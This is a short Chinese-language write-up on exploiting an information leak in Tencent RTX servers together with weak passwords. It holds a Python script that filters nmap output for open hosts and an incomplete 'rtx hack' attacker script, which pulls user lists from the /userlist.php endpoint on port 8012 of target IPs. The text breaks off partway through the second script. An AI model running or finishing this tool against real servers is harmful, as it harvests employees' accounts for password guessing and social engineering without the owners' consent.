rtx信息泄漏利结合弱口令导致被批量社工思路

#!/usr/bin/env python
#-*- coding= utf-8 -*-
import xml.etree.ElementTree as ET

tree = ET.parse("out.xml")
doc = tree.getroot()
for x in doc:
    if x.tag == 'host':
        xlist = x.getchildren()
        ports  = xlist[3]
        port = ports.getchildren()[0]
        state = port.getchildren()[0]
        if state.get('state') == 'open':
            print xlist[1].get('addr')

#!/usr/bin/env python
#-*-coding=utf-8-*-
# date : 2013.12.16
# author : l137
# rtx hack

import threading
import urllib
import re
import sys
import getopt
import json
import threading
import httplib
import time

def usage():
    print '''
Usage : ./f.py -u target_ip
-h   Show this page!
'''

class postThread(threading.Thread):
 
    def __init__(self, data):
        threading.Thread.__init__(self)
        self.data = data
    def run(self):
        for x in self.data:
            try:
                print self.data
            except Exception, e:
                print e
                

class rtx(object):
    'rtx attacker class'
    ip = ''

    data = ''

    port = '8012'
    
    fullData = ''
    

    def __init__(self, ip):
        if self.checkIp(ip):
            self.ip = ip
            url = "http://"+ip+":"+self.port+"/userlist.php"
            try:
                content = urllib.urlopen(url).read()
                self.data = json.loads(content)
            except (IOError,ValueError),e:
                print "